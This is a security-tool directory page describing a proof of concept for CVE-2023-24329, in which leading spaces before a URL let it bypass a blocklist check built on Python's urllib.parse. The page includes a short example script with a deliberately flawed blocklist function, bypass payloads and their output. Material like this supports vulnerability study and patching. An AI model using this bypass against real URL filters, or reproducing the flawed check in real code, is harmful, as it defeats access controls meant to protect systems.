Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-24329-Exploit — Proof-of-concept demonstrating a URL parsing bypass in Python's urllib.parse (CVE-2023-24329) that allows bypassing blocklists by prepending spaces. | Kitploit
Tools/GitHubGitHub/pentestmano/cve-2023-24329-exploit
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubpentestmano/cve-2023-24329-exploit

CVE-2023-24329-Exploit

Proof-of-concept demonstrating a URL parsing bypass in Python's urllib.parse (CVE-2023-24329) that allows bypassing blocklists by prepending spaces.

View Repository
2 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Intro

The URL parsing functions focus on splitting a URL string into its components, or on combining URL components into a URL string.

  • urllib.parse.urlparse

Simply urllib.parse used for parsing urls, we can bypass it with adding blanks before the url. This happens in python 3.11.4 and before.

PoC

Let's break down example.py

Here is a set of websites that you should not access:

root@kitploit:~
blocked_list = [
    "http://example.com/",
    "http://example2.com/"
]

This function checks if website is on blocked list or not, if it's on block list it should return URL Blocked

root@kitploit:~
def is_url_blocked(url):
    parse = urllib.parse.urlparse(url).geturl()
    if  parse in blocked_list: return 'URL Blocked'
    else: return 'Bypassed'

Now I added two urls and I check if any of them is blocked and cannot be accessed:

root@kitploit:~
payload1 = "    http://example.com/"
payload2 = "http://example.com/"

print(
    is_url_blocked(payload1),
    "\n",
    is_url_blocked(payload2)
)

payload1 is where i bypassed is_url_blocked() because adding long space before the url will bypass urllib.parse.urlparse(url).geturl() it would not execute as excpected. That's why the output is

root@kitploit:~
Bypassed

But on payload2 we get

root@kitploit:~
URL Blocked

Support

If you would like to support me with donation, I recommend you to give it to someone who really need it please. If you do so then consider that i earned your support.

Buy Me A Coffee

Download Tool